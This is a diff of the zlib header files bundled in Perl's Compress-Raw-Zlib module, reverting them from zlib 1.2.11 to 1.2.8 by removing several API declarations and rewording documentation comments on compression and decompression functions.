+67,6 @@ # define gzeof z_gzeof # define gzerror z_gzerror # define gzflush z_gzflush -# define gzfread z_gzfread -# define gzfwrite z_gzfwrite # define gzgetc z_gzgetc # define gzgetc_ z_gzgetc_ # define gzgets z_gzgets @@ -85,6 +78,7 @@ # define gzopen_w z_gzopen_w # endif # define gzprintf z_gzprintf +# define gzvprintf z_gzvprintf # define gzputc z_gzputc # define gzputs z_gzputs # define gzread z_gzread @@ -95,39 +89,32 @@ # define gztell z_gztell # define gztell64 z_gztell64 # define gzungetc z_gzungetc -# define gzvprintf z_gzvprintf # define gzwrite z_gzwrite # endif # define inflate z_inflate # define inflateBack z_inflateBack # define inflateBackEnd z_inflateBackEnd -# define inflateBackInit z_inflateBackInit # define inflateBackInit_ z_inflateBackInit_ -# define inflateCodesUsed z_inflateCodesUsed # define inflateCopy z_inflateCopy # define inflateEnd z_inflateEnd -# define inflateGetDictionary z_inflateGetDictionary # define inflateGetHeader z_inflateGetHeader -# define inflateInit z_inflateInit -# define inflateInit2 z_inflateInit2 # define inflateInit2_ z_inflateInit2_ # define inflateInit_ z_inflateInit_ # define inflateMark z_inflateMark # define inflatePrime z_inflatePrime # define inflateReset z_inflateReset # define inflateReset2 z_inflateReset2 -# define inflateResetKeep z_inflateResetKeep # define inflateSetDictionary z_inflateSetDictionary +# define inflateGetDictionary z_inflateGetDictionary # define inflateSync z_inflateSync # define inflateSyncPoint z_inflateSyncPoint # define inflateUndermine z_inflateUndermine -# define inflateValidate z_inflateValidate +# define inflateResetKeep z_inflateResetKeep # define inflate_copyright z_inflate_copyright # define inflate_fast z_inflate_fast # define inflate_table z_inflate_table # ifndef Z_SOLO # define uncompress z_uncompress -# define uncompress2 z_uncompress2 # endif # define zError z_zError # ifndef Z_SOLO @@ -237,19 +224,9 @@ # define z_const #endif -#ifdef Z_SOLO - typedef unsigned long z_size_t; -#else -# define z_longlong long long -# if defined(NO_SIZE_T) - typedef unsigned NO_SIZE_T z_size_t; -# elif defined(STDC) -# include - typedef size_t z_size_t; -# else - typedef unsigned long z_size_t; -# endif -# undef z_longlong +/* Some Mac compilers merge all .h files incorrectly: */ +#if defined(__MWERKS__)||defined(applec)||defined(THINK_C)||defined(__SC__) +# define NO_DUMMY_DECL #endif /* Maximum value for memLevel in deflateInit2 */ @@ -279,7 +256,7 @@ Of course this will generally degrade compression (there's no free lunch). The memory requirements for inflate are (in bytes) 1 << windowBits - that is, 32K for windowBits=15 (default value) plus about 7 kilobytes + that is, 32K for windowBits=15 (default value) plus a few kilobytes for small objects. */ diff --git a/cpan/Compress-Raw-Zlib/zlib-src/zlib.h b/cpan/Compress-Raw-Zlib/zlib-src/zlib.h index f09cdaf1e054..3e0c7672ac51 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/zlib.h +++ b/cpan/Compress-Raw-Zlib/zlib-src/zlib.h @@ -1,7 +1,7 @@ /* zlib.h -- interface of the 'zlib' general purpose compression library - version 1.2.11, January 15th, 2017 + version 1.2.8, April 28th, 2013 - Copyright (C) 1995-2017 Jean-loup Gailly and Mark Adler + Copyright (C) 1995-2013 Jean-loup Gailly and Mark Adler This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages @@ -37,11 +37,11 @@ extern "C" { #endif -#define ZLIB_VERSION "1.2.11" -#define ZLIB_VERNUM 0x12b0 +#define ZLIB_VERSION "1.2.8" +#define ZLIB_VERNUM 0x1280 #define ZLIB_VER_MAJOR 1 #define ZLIB_VER_MINOR 2 -#define ZLIB_VER_REVISION 11 +#define ZLIB_VER_REVISION 8 #define ZLIB_VER_SUBREVISION 0 /* @@ -65,8 +65,7 @@ extern "C" { with "gz". The gzip format is different from the zlib format. gzip is a gzip wrapper, documented in RFC 1952, wrapped around a deflate stream. - This library can optionally read and write gzip and raw deflate streams in - memory as well. + This library can optionally read and write gzip streams in memory as well. The zlib format was designed to be compact and fast for use in memory and on communications channels. The gzip format was designed for single- @@ -75,7 +74,7 @@ extern "C" { The library does not install any signal handler. The decoder checks the consistency of the compressed data, so the library should never crash - even in the case of corrupted input. + even in case of corrupted input. */ typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); @@ -88,7 +87,7 @@ typedef struct z_stream_s { uInt avail_in; /* number of bytes available at next_in */ uLong total_in; /* total number of input bytes read so far */ - Bytef *next_out; /* next output byte will go here */ + Bytef *next_out; /* next output byte should be put there */ uInt avail_out; /* remaining free space at next_out */ uLong total_out; /* total number of bytes output so far */ @@ -99,9 +98,8 @@ typedef struct z_stream_s { free_func zfree; /* used to free the internal state */ voidpf opaque; /* private data object passed to zalloc and zfree */ - int data_type; /* best guess about the data type: binary or text - for deflate, or the decoding state for inflate */ - uLong adler; /* Adler-32 or CRC-32 value of the uncompressed data */ + int data_type; /* best guess about the data type: binary or text */ + uLong adler; /* adler32 value of the uncompressed data */ uLong reserved; /* reserved for future use */ } z_stream; @@ -144,9 +142,7 @@ typedef gz_header FAR *gz_headerp; zalloc must return Z_NULL if there is not enough memory for the object. If zlib is used in a multi-threaded application, zalloc and zfree must be - thread safe. In that case, zlib is thread-safe. When zalloc and zfree are - Z_NULL on entry to the initialization function, they are set to internal - routines that use the standard library functions malloc() and free(). + thread safe. On 16-bit systems, the functions zalloc and zfree must be able to allocate exactly 65536 bytes, but will not be required to allocate more than this if @@ -159,7 +155,7 @@ typedef gz_header FAR *gz_headerp; The fields total_in and total_out can be used for statistics or progress reports. After compression, total_in holds the total size of the - uncompressed data and may be saved for use by the decompressor (particularly + uncompressed data and may be saved for use in the decompressor (particularly if the decompressor wants to decompress everything in a single step). */ @@ -204,7 +200,7 @@ typedef gz_header FAR *gz_headerp; #define Z_TEXT 1 #define Z_ASCII Z_TEXT /* for compatibility with 1.2.2 and earlier */ #define Z_UNKNOWN 2 -/* Possible values of the data_type field for deflate() */ +/* Possible values of the data_type field (though see inflate()) */ #define Z_DEFLATED 8 /* The deflate compression method (the only one supported in this version) */ @@ -262,11 +258,11 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); enough room in the output buffer), next_in and avail_in are updated and processing will resume at this point for the next call of deflate(). - - Generate more output starting at next_out and update next_out and avail_out + - Provide more output starting at next_out and update next_out and avail_out accordingly. This action is forced if the parameter flush is non zero. Forcing flush frequently degrades the compression ratio, so this parameter - should be set only when necessary. Some output may be provided even if - flush is zero. + should be set only when necessary (in interactive applications). Some + output may be provided even if flush is not set. Before the call of deflate(), the application should ensure that at least one of the actions is possible, by providing more input and/or consuming more @@ -275,9 +271,7 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); output when it wants, for example when the output buffer is full (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK and with zero avail_out, it must be called again after making room in the output - buffer because there might be more output pending. See deflatePending(), - which can be used if desired to determine whether or not there is more ouput - in that case. + buffer because there might be more output pending. Normally the parameter flush is set to Z_NO_FLUSH, which allows deflate to decide how much data to accumulate before producing output, in order to @@ -298,8 +292,8 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); input data so far will be available to the decompressor, as for Z_SYNC_FLUSH. This completes the current deflate block and follows it with an empty fixed codes block that is 10 bits long. This assures that enough bytes are output - in order for the decompressor to finish the block before the empty fixed - codes block. + in order for the decompressor to finish the block before the empty fixed code + block. If flush is set to Z_BLOCK, a deflate block is completed and emitted, as for Z_SYNC_FLUSH, but the output is not aligned on a byte boundary, and up to @@ -325,38 +319,34 @@ ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush)); If the parameter flush is set to Z_FINISH, pending input is processed, pending output is flushed and deflate returns with Z_STREAM_END if there was - enough output space. If deflate returns with Z_OK or Z_BUF_ERROR, this - function must be called again with Z_FINISH and more output space (updated - avail_out) but no more input data, until it returns with Z_STREAM_END or an - error. After deflate has returned Z_STREAM_END, the only possible operations - on the stream are deflateReset or deflateEnd. - - Z_FINISH can be used in the first deflate call after deflateInit if all the - compression is to be done in a single step. In order to complete in one - call, avail_out must be at least the value returned by deflateBound (see - below). Then deflate is guaranteed to return Z_STREAM_END. If not enough - output space is provided, deflate will not return Z_STREAM_END, and it must - be called again as described above. - - deflate() sets strm->adler to the Adler-32 checksum of all input read - so far (that is, total_in bytes). If a gzip stream is being generated, then - strm->adler will be the CRC-32 checksum of the input read so far. (See - deflateInit2 below.) + enough output space; if deflate returns with Z_OK, this function must be + called again with Z_FINISH and more output space (updated avail_out) but no + more input data, until it returns with Z_STREAM_END or an error. After + deflate has returned Z_STREAM_END, the only possible operations on the stream + are deflateReset or deflateEnd. + + Z_FINISH can be used immediately after deflateInit if all the compression + is to be done in a single step. In this case, avail_out must be at least the + value returned by deflateBound (see below). Then deflate is guaranteed to + return Z_STREAM_END. If not enough output space is provided, deflate will + not return Z_STREAM_END, and it must be called again as described above. + + deflate() sets strm->adler to the adler32 checksum of all input read + so far (that is, total_in bytes). deflate() may update strm->data_type if it can make a good guess about - the input data type (Z_BINARY or Z_TEXT). If in doubt, the data is - considered binary. This field is only for information purposes and does not - affect the compression algorithm in any manner. + the input data type (Z_BINARY or Z_TEXT). In doubt, the data is considered + binary. This field is only for information purposes and does not affect the + compression algorithm in any manner. deflate() returns Z_OK if some progress has been made (more input processed or more output produced), Z_STREAM_END if all input has been consumed and all output has been produced (only when flush is set to Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example - if next_in or next_out was Z_NULL or the state was inadvertently written over - by the application), or Z_BUF_ERROR if no progress is possible (for example - avail_in or avail_out was zero). Note that Z_BUF_ERROR is not fatal, and - deflate() can be called again with more input and more output space to - continue compressing. + if next_in or next_out was Z_NULL), Z_BUF_ERROR if no progress is possible + (for example avail_in or avail_out was zero). Note that Z_BUF_ERROR is not + fatal, and deflate() can be called again with more input and more output + space to continue compressing. */ @@ -379,21 +369,23 @@ ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm)); Initializes the internal stream state for decompression. The fields next_in, avail_in, zalloc, zfree and opaque must be initialized before by - the caller. In the current version of inflate, the provided input is not - read or consumed. The allocation of a sliding window will be deferred to - the first call of inflate (if the decompression does not complete on the - first call). If zalloc and zfree are set to Z_NULL, inflateInit updates - them to use default allocation functions. + the caller. If next_in is not Z_NULL and avail_in is large enough (the + exact value depends on the compression method), inflateInit determines the + compression method from the zlib header and allocates all data structures + accordingly; otherwise the allocation will be deferred to the first call of + inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to + use default allocation functions. inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_VERSION_ERROR if the zlib library version is incompatible with the version assumed by the caller, or Z_STREAM_ERROR if the parameters are invalid, such as a null pointer to the structure. msg is set to null if - there is no error message. inflateInit does not perform any decompression. - Actual decompression will be done by inflate(). So next_in, and avail_in, - next_out, and avail_out are unused and unchanged. The current - implementation of inflateInit() does not process any header information -- - that is deferred until inflate() is called. + there is no error message. inflateInit does not perform any decompression + apart from possibly reading the zlib header if present: actual decompression + will be done by inflate(). (So next_in and avail_in may be modified, but + next_out and avail_out are unused and unchanged.) The current implementation + of inflateInit() does not process any header information -- that is deferred + until inflate() is called. */ @@ -409,20 +401,17 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); - Decompress more input starting at next_in and update next_in and avail_in accordingly. If not all input can be processed (because there is not - enough room in the output buffer), then next_in and avail_in are updated - accordingly, and processing will resume at this point for the next call of - inflate(). + enough room in the output buffer), next_in is updated and processing will + resume at this point for the next call of inflate(). - - Generate more output starting at next_out and update next_out and avail_out + - Provide more output starting at next_out and update next_out and avail_out accordingly. inflate() provides as much output as possible, until there is no more input data or no more space in the output buffer (see below about the flush parameter). Before the call of inflate(), the application should ensure that at least one of the actions is possible, by providing more input and/or consuming more - output, and updating the next_* and avail_* values accordingly. If the - caller of inflate() does not provide both available input and available - output space, it is possible that there will be no progress made. The + output, and updating the next_* and avail_* values accordingly. The application can consume the uncompressed output when it wants, for example when the output buffer is full (avail_out == 0), or after each call of inflate(). If inflate returns Z_OK and with zero avail_out, it must be @@ -439,7 +428,7 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); gets to the end of that block, or when it runs out of data. The Z_BLOCK option assists in appending to or combining deflate streams. - To assist in this, on return inflate() always sets strm->data_type to the + Also to assist in this, on return inflate() will set strm->data_type to the number of unused bits in the last byte taken from strm->next_in, plus 64 if inflate() is currently decoding the last block in the deflate stream, plus 128 if inflate() returned immediately after decoding an end-of-block code or @@ -465,7 +454,7 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); this case all pending input is processed and all pending output is flushed; avail_out must be large enough to hold all of the uncompressed data for the operation to complete. (The size of the uncompressed data may have been - saved by the compressor for this purpose.) The use of Z_FINISH is not + saved by the compressor for this purpose.) The use of Z_FINISH is not required to perform an inflation in one step. However it may be used to inform inflate that a faster approach can be used for the single inflate() call. Z_FINISH also informs inflate to not maintain a sliding window if the @@ -487,33 +476,32 @@ ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush)); chosen by the compressor and returns Z_NEED_DICT; otherwise it sets strm->adler to the Adler-32 checksum of all output produced so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or an error code as described - below. At the end of the stream, inflate() checks that its computed Adler-32 + below. At the end of the stream, inflate() checks that its computed adler32 checksum is equal to that saved by the compressor and returns Z_STREAM_END only if the checksum is correct. inflate() can decompress and check either zlib-wrapped or gzip-wrapped deflate data. The header type is detected automatically, if requested when initializing with inflateInit2(). Any information contained in the gzip - header is not retained unless inflateGetHeader() is used. When processing + header is not retained, so applications that need that information should + instead use raw inflate, see inflateInit2() below, or inflateBack() and + perform their own processing of the gzip header and trailer. When processing gzip-wrapped deflate data, strm->adler32 is set to the CRC-32 of the output - produced so far. The CRC-32 is checked against the gzip trailer, as is the - uncompressed length, modulo 2^32. + producted so far. The CRC-32 is checked against the gzip trailer. inflate() returns Z_OK if some progress has been made (more input processed or more output produced), Z_STREAM_END if the end of the compressed data has been reached and all uncompressed output has been produced, Z_NEED_DICT if a preset dictionary is needed at this point, Z_DATA_ERROR if the input data was corrupted (input stream not conforming to the zlib format or incorrect check - value, in which case strm->msg points to a string with a more specific - error), Z_STREAM_ERROR if the stream structure was inconsistent (for example - next_in or next_out was Z_NULL, or the state was inadvertently written over - by the application), Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR - if no progress was possible or if there was not enough room in the output - buffer when Z_FINISH is used. Note that Z_BUF_ERROR is not fatal, and + value), Z_STREAM_ERROR if the stream structure was inconsistent (for example + next_in or next_out was Z_NULL), Z_MEM_ERROR if there was not enough memory, + Z_BUF_ERROR if no progress is possible or if there was not enough room in the + output buffer when Z_FINISH is used. Note that Z_BUF_ERROR is not fatal, and inflate() can be called again with more input and more output space to continue decompressing. If Z_DATA_ERROR is returned, the application may then call inflateSync() to look for a good compression block if a partial - recovery of the data is to be attempted. + recovery of the data is desired. */ @@ -523,8 +511,9 @@ ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm)); This function discards any unprocessed input and does not flush any pending output. - inflateEnd returns Z_OK if success, or Z_STREAM_ERROR if the stream state - was inconsistent. + inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state + was inconsistent. In the error case, msg may be set but then points to a + static string (which must not be deallocated). */ @@ -555,29 +544,16 @@ ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm, compression at the expense of memory usage. The default value is 15 if deflateInit is used instead. - For the current implementation of deflate(), a windowBits value of 8 (a - window size of 256 bytes) is not supported. As a result, a request for 8 - will result in 9 (a 512-byte window). In that case, providing 8 to - inflateInit2() will result in an error when the zlib header with 9 is - checked against the initialization of inflate(). The remedy is to not use 8 - with deflateInit2() with this initialization, or at least in that case use 9 - with inflateInit2(). - windowBits can also be -8..-15 for raw deflate. In this case, -windowBits determines the window size. deflate() will then generate raw deflate data - with no zlib header or trailer, and will not compute a check value. + with no zlib header or trailer, and will not compute an adler32 check value. windowBits can also be greater than 15 for optional gzip encoding. Add 16 to windowBits to write a simple gzip header and trailer around the compressed data instead of a zlib wrapper. The gzip header will have no file name, no extra data, no comment, no modification time (set to zero), no - header crc, and the operating system will be set to the appropriate value, - if the operating system was determined at compile time. If a gzip stream is - being written, strm->adler is a CRC-32 instead of an Adler-32. - - For raw deflate or gzip encoding, a request for a 256-byte window is - rejected as invalid, since only the zlib header provides a means of - transmitting the window size to the decompressor. + header crc, and the operating system will be set to 255 (unknown). If a + gzip stream is being written, strm->adler is a crc32 instead of an adler32. The memLevel parameter specifies how much memory should be allocated for the internal compression state. memLevel=1 uses minimum memory but is @@ -638,12 +614,12 @@ ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, addition, the current implementation of deflate will use at most the window size minus 262 bytes of the provided dictionary. - Upon return of this function, strm->adler is set to the Adler-32 value + Upon return of this function, strm->adler is set to the adler32 value of the dictionary; the decompressor may later use this value to determine - which dictionary has been used by the compressor. (The Adler-32 value + which dictionary has been used by the compressor. (The adler32 value applies to the whole dictionary even if only a subset of the dictionary is actually used by the compressor.) If a raw deflate was requested, then the - Adler-32 value is not computed and strm->adler is not set. + adler32 value is not computed and strm->adler is not set. deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a parameter is invalid (e.g. dictionary being Z_NULL) or the stream state is @@ -652,28 +628,6 @@ ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm, not perform any compression: this will be done by deflate(). */ -ZEXTERN int ZEXPORT deflateGetDictionary OF((z_streamp strm, - Bytef *dictionary, - uInt *dictLength)); -/* - Returns the sliding dictionary being maintained by deflate. dictLength is - set to the number of bytes in the dictionary, and that many bytes are copied - to dictionary. dictionary must have enough space, where 32768 bytes is - always enough. If deflateGetDictionary() is called with dictionary equal to - Z_NULL, then only the dictionary length is returned, and nothing is copied. - Similary, if dictLength is Z_NULL, then it is not set. - - deflateGetDictionary() may return a length less than the window size, even - when more than the window size in input has been provided. It may return up - to 258 bytes less in that case, due to how zlib's implementation of deflate - manages the sliding window and lookahead for matches, where matches can be - up to 258 bytes long. If the application needs the last window-size bytes of - input, then that would need to be saved by the application outside of zlib. - - deflateGetDictionary returns Z_OK on success, or Z_STREAM_ERROR if the - stream state is inconsistent. -*/ - ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, z_streamp source)); /* @@ -694,10 +648,10 @@ ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest, ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm)); /* - This function is equivalent to deflateEnd followed by deflateInit, but - does not free and reallocate the internal compression state. The stream - will leave the compression level and any other attributes that may have been - set unchanged. + This function is equivalent to deflateEnd followed by deflateInit, + but does not free and reallocate all the internal compression state. The + stream will keep the same compression level and any other attributes that + may have been set by deflateInit2. deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc or state being Z_NULL). @@ -708,36 +662,20 @@ ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm, int strategy)); /* Dynamically update the compression level and compression strategy. The - interpretation of level and strategy is as in deflateInit2(). This can be + interpretation of level and strategy is as in deflateInit2. This can be used to switch between compression and straight copy of the input data, or to switch to a different kind of input data requiring a different strategy. - If the compression approach (which is a function of the level) or the - strategy is changed, and if any input has been consumed in a previous - deflate() call, then the input available so far is compressed with the old - level and strategy using deflate(strm, Z_BLOCK). There are three approaches - for the compression levels 0, 1..3, and 4..9 respectively. The new level - and strategy will take effect at the next call of deflate(). - - If a deflate(strm, Z_BLOCK) is performed by deflateParams(), and it does - not have enough output space to complete, then the parameter change will not - take effect. In this case, deflateParams() can be called again with the - same parameters and more output space to try again. - - In order to assure a change in the parameters on the first try, the - deflate stream should be flushed using deflate() with Z_BLOCK or other flush - request until strm.avail_out is not zero, before calling deflateParams(). - Then no more input data should be provided before the deflateParams() call. - If this is done, the old level and strategy will be applied to the data - compressed before deflateParams(), and the new level and strategy will be - applied to the the data compressed after deflateParams(). - - deflateParams returns Z_OK on success, Z_STREAM_ERROR if the source stream - state was inconsistent or if a parameter was invalid, or Z_BUF_ERROR if - there was not enough output space to complete the compression of the - available input data before a change in the strategy or approach. Note that - in the case of a Z_BUF_ERROR, the parameters are not changed. A return - value of Z_BUF_ERROR is not fatal, in which case deflateParams() can be - retried with more output space. + If the compression level is changed, the input available so far is + compressed with the old level (and may be flushed); the new level will take + effect only at the next call of deflate(). + + Before the call of deflateParams, the stream state must be set as for + a call of deflate(), since the currently available input may have to be + compressed and flushed. In particular, strm->avail_out must be non-zero. + + deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source + stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR if + strm->avail_out was zero. */ ZEXTERN int ZEXPORT deflateTune OF((z_streamp strm, @@ -855,7 +793,7 @@ ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, is for use with other formats that use the deflate compressed data format such as zip. Those formats provide their own check values. If a custom format is developed using the raw deflate format for compressed data, it is - recommended that a check value such as an Adler-32 or a CRC-32 be applied to + recommended that a check value such as an adler32 or a crc32 be applied to the uncompressed data as is done in the zlib, gzip, and zip formats. For most applications, the zlib format should be used as is. Note that comments above on the use in deflateInit2() applies to the magnitude of windowBits. @@ -864,10 +802,7 @@ ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, 32 to windowBits to enable zlib and gzip decoding with automatic header detection, or add 16 to decode only the gzip format (the zlib format will return a Z_DATA_ERROR). If a gzip stream is being decoded, strm->adler is a - CRC-32 instead of an Adler-32. Unlike the gunzip utility and gzread() (see - below), inflate() will not automatically decode concatenated gzip streams. - inflate() will return Z_STREAM_END at the end of the gzip stream. The state - would need to be reset to continue decoding a subsequent gzip stream. + crc32 instead of an adler32. inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_VERSION_ERROR if the zlib library version is incompatible with the @@ -888,7 +823,7 @@ ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, Initializes the decompression dictionary from the given uncompressed byte sequence. This function must be called immediately after a call of inflate, if that call returned Z_NEED_DICT. The dictionary chosen by the compressor - can be determined from the Adler-32 value returned by that call of inflate. + can be determined from the adler32 value returned by that call of inflate. The compressor and decompressor must use exactly the same dictionary (see deflateSetDictionary). For raw inflate, this function can be called at any time to set the dictionary. If the provided dictionary is smaller than the @@ -899,7 +834,7 @@ ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a parameter is invalid (e.g. dictionary being Z_NULL) or the stream state is inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the - expected one (incorrect Adler-32 value). inflateSetDictionary does not + expected one (incorrect adler32 value). inflateSetDictionary does not perform any decompression: this will be done by subsequent calls of inflate(). */ @@ -957,7 +892,7 @@ ZEXTERN int ZEXPORT inflateCopy OF((z_streamp dest, ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); /* This function is equivalent to inflateEnd followed by inflateInit, - but does not free and reallocate the internal decompression state. The + but does not free and reallocate all the internal decompression state. The stream will keep attributes that may have been set by inflateInit2. inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source @@ -969,9 +904,7 @@ ZEXTERN int ZEXPORT inflateReset2 OF((z_streamp strm, /* This function is the same as inflateReset, but it also permits changing the wrap and window size requests. The windowBits parameter is interpreted - the same as it is for inflateInit2. If the window size is changed, then the - memory allocated for the window is freed, and the window will be reallocated - by inflate() if needed. + the same as it is for inflateInit2. inflateReset2 returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc or state being Z_NULL), or if @@ -1023,7 +956,7 @@ ZEXTERN long ZEXPORT inflateMark OF((z_streamp strm)); location in the input stream can be determined from avail_in and data_type as noted in the description for the Z_BLOCK flush parameter for inflate. - inflateMark returns the value noted above, or -65536 if the provided + inflateMark returns the value noted above or -1 << 16 if the provided source stream state was inconsistent. */ @@ -1115,9 +1048,9 @@ ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm, This routine would normally be used in a utility that reads zip or gzip files and writes out uncompressed files. The utility would decode the header and process the trailer on its own, hence this routine expects only - the raw deflate stream to decompress. This is different from the default - behavior of inflate(), which expects a zlib header and trailer around the - deflate stream. + the raw deflate stream to decompress. This is different from the normal + behavior of inflate(), which expects either a zlib or gzip header and + trailer around the deflate stream. inflateBack() uses two subroutines supplied by the caller that are then called by inflateBack() for input and output. inflateBack() calls those @@ -1126,12 +1059,12 @@ ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm, parameters and return types are defined above in the in_func and out_func typedefs. inflateBack() will call in(in_desc, &buf) which should return the number of bytes of provided input, and a pointer to that input in buf. If - there is no input available, in() must return zero -- buf is ignored in that - case -- and inflateBack() will return a buffer error. inflateBack() will - call out(out_desc, buf, len) to write the uncompressed data buf[0..len-1]. - out() should return zero on success, or non-zero on failure. If out() - returns non-zero, inflateBack() will return with an error. Neither in() nor - out() are permitted to change the contents of the window provided to + there is no input available, in() must return zero--buf is ignored in that + case--and inflateBack() will return a buffer error. inflateBack() will call + out(out_desc, buf, len) to write the uncompressed data buf[0..len-1]. out() + should return zero on success, or non-zero on failure. If out() returns + non-zero, inflateBack() will return with an error. Neither in() nor out() + are permitted to change the contents of the window provided to inflateBackInit(), which is also the buffer that out() uses to write from. The length written by out() will be at most the window size. Any non-zero amount of input may be provided by in(). @@ -1159,7 +1092,7 @@ ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm, using strm->next_in which will be Z_NULL only if in() returned an error. If strm->next_in is not Z_NULL, then the Z_BUF_ERROR was due to out() returning non-zero. (in() will always be called before out(), so strm->next_in is - assured to be defined if out() returns non-zero.) Note that inflateBack() + assured to be defined if out() returns non-zero.) Note that inflateBack() cannot return Z_OK. */ @@ -1181,7 +1114,7 @@ ZEXTERN uLong ZEXPORT zlibCompileFlags OF((void)); 7.6: size of z_off_t Compiler, assembler, and debug options: - 8: ZLIB_DEBUG + 8: DEBUG 9: ASMV or ASMINF -- use ASM code 10: ZLIB_WINAPI -- exported functions use the WINAPI calling convention 11: 0 (reserved) @@ -1231,8 +1164,7 @@ ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, the byte length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be at least the value returned by compressBound(sourceLen). Upon exit, destLen is the actual size of the - compressed data. compress() is equivalent to compress2() with a level - parameter of Z_DEFAULT_COMPRESSION. + compressed buffer. compress returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output @@ -1248,7 +1180,7 @@ ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be at least the value returned by compressBound(sourceLen). Upon exit, destLen is the actual size of the - compressed data. + compressed buffer. compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output buffer, @@ -1271,7 +1203,7 @@ ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, uncompressed data. (The size of the uncompressed data must have been saved previously by the compressor and transmitted to the decompressor by some mechanism outside the scope of this compression library.) Upon exit, destLen - is the actual size of the uncompressed data. + is the actual size of the uncompressed buffer. uncompress returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output @@ -1280,14 +1212,6 @@ ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, buffer with the uncompressed data up to that point. */ -ZEXTERN int ZEXPORT uncompress2 OF((Bytef *dest, uLongf *destLen, - const Bytef *source, uLong *sourceLen)); -/* - Same as uncompress, except that sourceLen is a pointer, where the - length of the source is *sourceLen. On return, *sourceLen is the number of - source bytes consumed. -*/ - /* gzip file access functions */ /* @@ -1366,9 +1290,10 @@ ZEXTERN int ZEXPORT gzbuffer OF((gzFile file, unsigned size)); default buffer size is 8192 bytes. This function must be called after gzopen() or gzdopen(), and before any other calls that read or write the file. The buffer memory allocation is always deferred to the first read or - write. Three times that size in buffer space is allocated. A larger buffer - size of, for example, 64K or 128K bytes will noticeably increase the speed - of decompression (reading). + write. Two buffers are allocated, either both of the specified size when + writing, or one of the specified size and the other twice that size when + reading. A larger buffer size of, for example, 64K or 128K bytes will + noticeably increase the speed of decompression (reading). The new buffer size also affects the maximum length for gzprintf(). @@ -1379,12 +1304,10 @@ ZEXTERN int ZEXPORT gzbuffer OF((gzFile file, unsigned size)); ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); /* Dynamically update the compression level or strategy. See the description - of deflateInit2 for the meaning of these parameters. Previously provided - data is flushed before the parameter change. + of deflateInit2 for the meaning of these parameters. - gzsetparams returns Z_OK if success, Z_STREAM_ERROR if the file was not - opened for writing, Z_ERRNO if there is an error writing the flushed data, - or Z_MEM_ERROR if there is a memory allocation error. + gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not + opened for writing. */ ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); @@ -1412,35 +1335,7 @@ ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); case. gzread returns the number of uncompressed bytes actually read, less than - len for end of file, or -1 for error. If len is too large to fit in an int, - then nothing is read, -1 is returned, and the error state is set to - Z_STREAM_ERROR. -*/ - -ZEXTERN z_size_t ZEXPORT gzfread OF((voidp buf, z_size_t size, z_size_t nitems, - gzFile file)); -/* - Read up to nitems items of size size from file to buf, otherwise operating - as gzread() does. This duplicates the interface of stdio's fread(), with - size_t request and return types. If the library defines size_t, then - z_size_t is identical to size_t. If not, then z_size_t is an unsigned - integer type that can contain a pointer. - - gzfread() returns the number of full items read of size size, or zero if - the end of the file was reached and a full item could not be read, or if - there was an error. gzerror() must be consulted if zero is returned in - order to determine 